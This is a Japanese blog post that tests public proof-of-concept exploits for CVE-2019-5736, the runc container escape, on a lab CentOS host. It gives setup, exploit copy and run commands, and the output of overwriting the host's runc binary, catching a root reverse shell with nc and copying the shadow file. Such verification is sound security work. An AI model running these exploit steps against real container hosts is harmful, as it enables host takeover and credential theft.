レガシーガジェット研究所

気になったことのあれこれ。

CVE-2019-5736のPoC検証

概要

当該脆弱性のPoCを検証する。脆弱性自体の概要は以下。

k-onishi.hatenablog.jp

環境

$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)

PoC

インストール及びセットアップ、起動

$ yum install -y go
$ yum install -y yum-utils device-mapper-persistent-data lvm2
$ yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
$ yum install docker-ce-17.12.0.ce-1.el7.centos docker-ce-cli-17.12.0.ce-1.el7.centos containerd.io
$ systemctl start docker

docker-runcは上書きされるため予めバックアップを取得しておく。

$ cp /usr/bin/docker-runc /usr/bin/docker-runc.org

https://github.com/feexd/pocs

コンテナを起動しその中でコンパイルしたエクスプロイトを実行する、その後ホスト側からdocker execすることで任意のペイロードがホスト側で実行される。

実行

# ターミナル1
$ docker run -it ubuntu /bin/sh
# ターミナル2
$ git clone https://github.com/feexd/pocs/
$ cd pocs/CVE-2019-5736/
$ make
$ docker ps --format {{.Names}} | xargs -I{} docker cp ./pwn.sh {}:/
$ docker ps --format {{.Names}} | xargs -I{} docker cp ./exploit {}:/
$ docker ps --format {{.Names}} | xargs -I{} docker cp ./payload {}:/
# ターミナル1(コンテナ内)
$ ./pwn.sh
# ターミナル2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
# ターミナル3
$ docker exec -it quizzical_curran /bin/sh
No help topic for '/bin/sh'

# ターミナル1(コンテナ内)
$ ./pwn.sh
starting exploit
Successfuly opened /proc/27122/exe at fd 4
/proc/self/fd/4
Successfully openned runc binary as WRONLY
Payload deployed

# ターミナル3
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:53860.
sh: このシェルではジョブ制御が無効になっています
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root)

https://github.com/Frichetten/CVE-2019-5736-PoC

コンテナを起動しその中でコンパイルしたエクスプロイトを実行する。その後ホスト側でncを用いてローカルのポートをリッスンし、また別のターミナルからdocker execを実行する。ncでリッスンしていたポートにシェルが戻ってくる。

実行

# ターミナル1
$ ls -l /tmp/shadow
ls: cannot access /tmp/shadow: No such file or directory
# ターミナル2
$ docker run -it ubuntu/bin/sh
# ターミナル1
# PoCを取得、コンパイル
$ git clone https://github.com/Frichetten/CVE-2019-5736-PoC
$ go build CVE-2019-5736-PoC/main.go
# 動作中のコンテナにコピー
$ docker ps --format {{.Names}} | xargs -I{} docker cp ./main {}:/
# ターミナル2(コンテナ内)
$ ./main
[+] Overwritten /bin/sh successfully
# ターミナル1
$ docker ps --format {{.Names}} | xargs -I{} echo "docker exec -it {} /bin/sh"
$ docker exec -it upbeat_boyd /bin/sh
No help topic for '/bin/sh'

# ターミナル2(コンテナ内)
$ ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 11
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc0001f1e00}
# ターミナル1
$ ls -l /tmp/shadow
-rwxrwxrwx 1 root root 647 Feb 21 21:58 /tmp/shadow

https://github.com/q3k/cve-2019-5736-poc

リポジトリのDockerfileでイメージを作成し、ホスト側にあるdocker-runcを書き換える。

実行

$ git clone https://github.com/q3k/cve-2019-5736-poc
$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED              SIZE
cve                 latest              e95a5f4cefd5        About a minute ago   412MB
$ docker run cve
$ strings /usr/bin/docker-runc | tail -n 2
.gnu_debugdata
cve-2019-5736